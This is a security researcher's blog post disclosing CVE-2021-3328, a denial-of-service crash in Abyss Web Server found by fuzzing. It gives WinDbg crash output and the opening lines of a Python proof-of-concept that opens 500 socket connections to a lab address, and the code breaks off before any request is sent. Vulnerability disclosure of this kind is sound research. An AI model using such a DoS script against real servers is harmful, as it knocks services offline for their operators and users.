

Jan's security blog

Exploits, odays, fuzzing, web hacking, xss, sqli, olly, IDA, source code review

CVE-2021-3328 – Abyss Web Server – Remote DoS

Hello,

recently I spent some time working on my HTTP fuzzer. Running it against affected version of Abyss Web Server it was possible to cause Denial of Service attack (the application crashed). Based on my analysis the bug is not exploitable.

Crash:

Crash details:

(4768.5728): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

*** ERROR: Module load completed but symbols could not be loaded for C:\Abyss Web Server\abyssws.exe

abyssws+0x807db:

00000000'004807db 8a4601 mov al,byte ptr [rsi+1] ds:00000000'0489b000=??

0:016> r

rax=0000000000000000 rbx=00000000076b3818 rcx=00000000053bfba0

rdx=0000000004899da8 rsi=000000000489afff rdi=0000000004899d38

rip=00000000004807db rsp=00000000053bfba0 rbp=0000000000000000

r8=0000000004899a08 r9=0000000000000000 r10=00000000004dbb72

r11=0000000004899d22 r12=00000000053bfba0 r13=00000000076b37c8

r14=0000000000000000 r15=0000000005db1f18

iopl=0 nv up ei ng nz ac pe cy

cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010293

abyssws+0x807db:

00000000'004807db 8a4601 mov al,byte ptr [rsi+1] ds:00000000'0489b000=??

(ugly and dirty) PoC:

```
from threading import Thread
```

```
import requests
```

```
import socket
```

```
def cause_dos():
```

```
    for x in range(0,500):
```

```
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
        s.connect(("192.168.65.128" , 80))
```

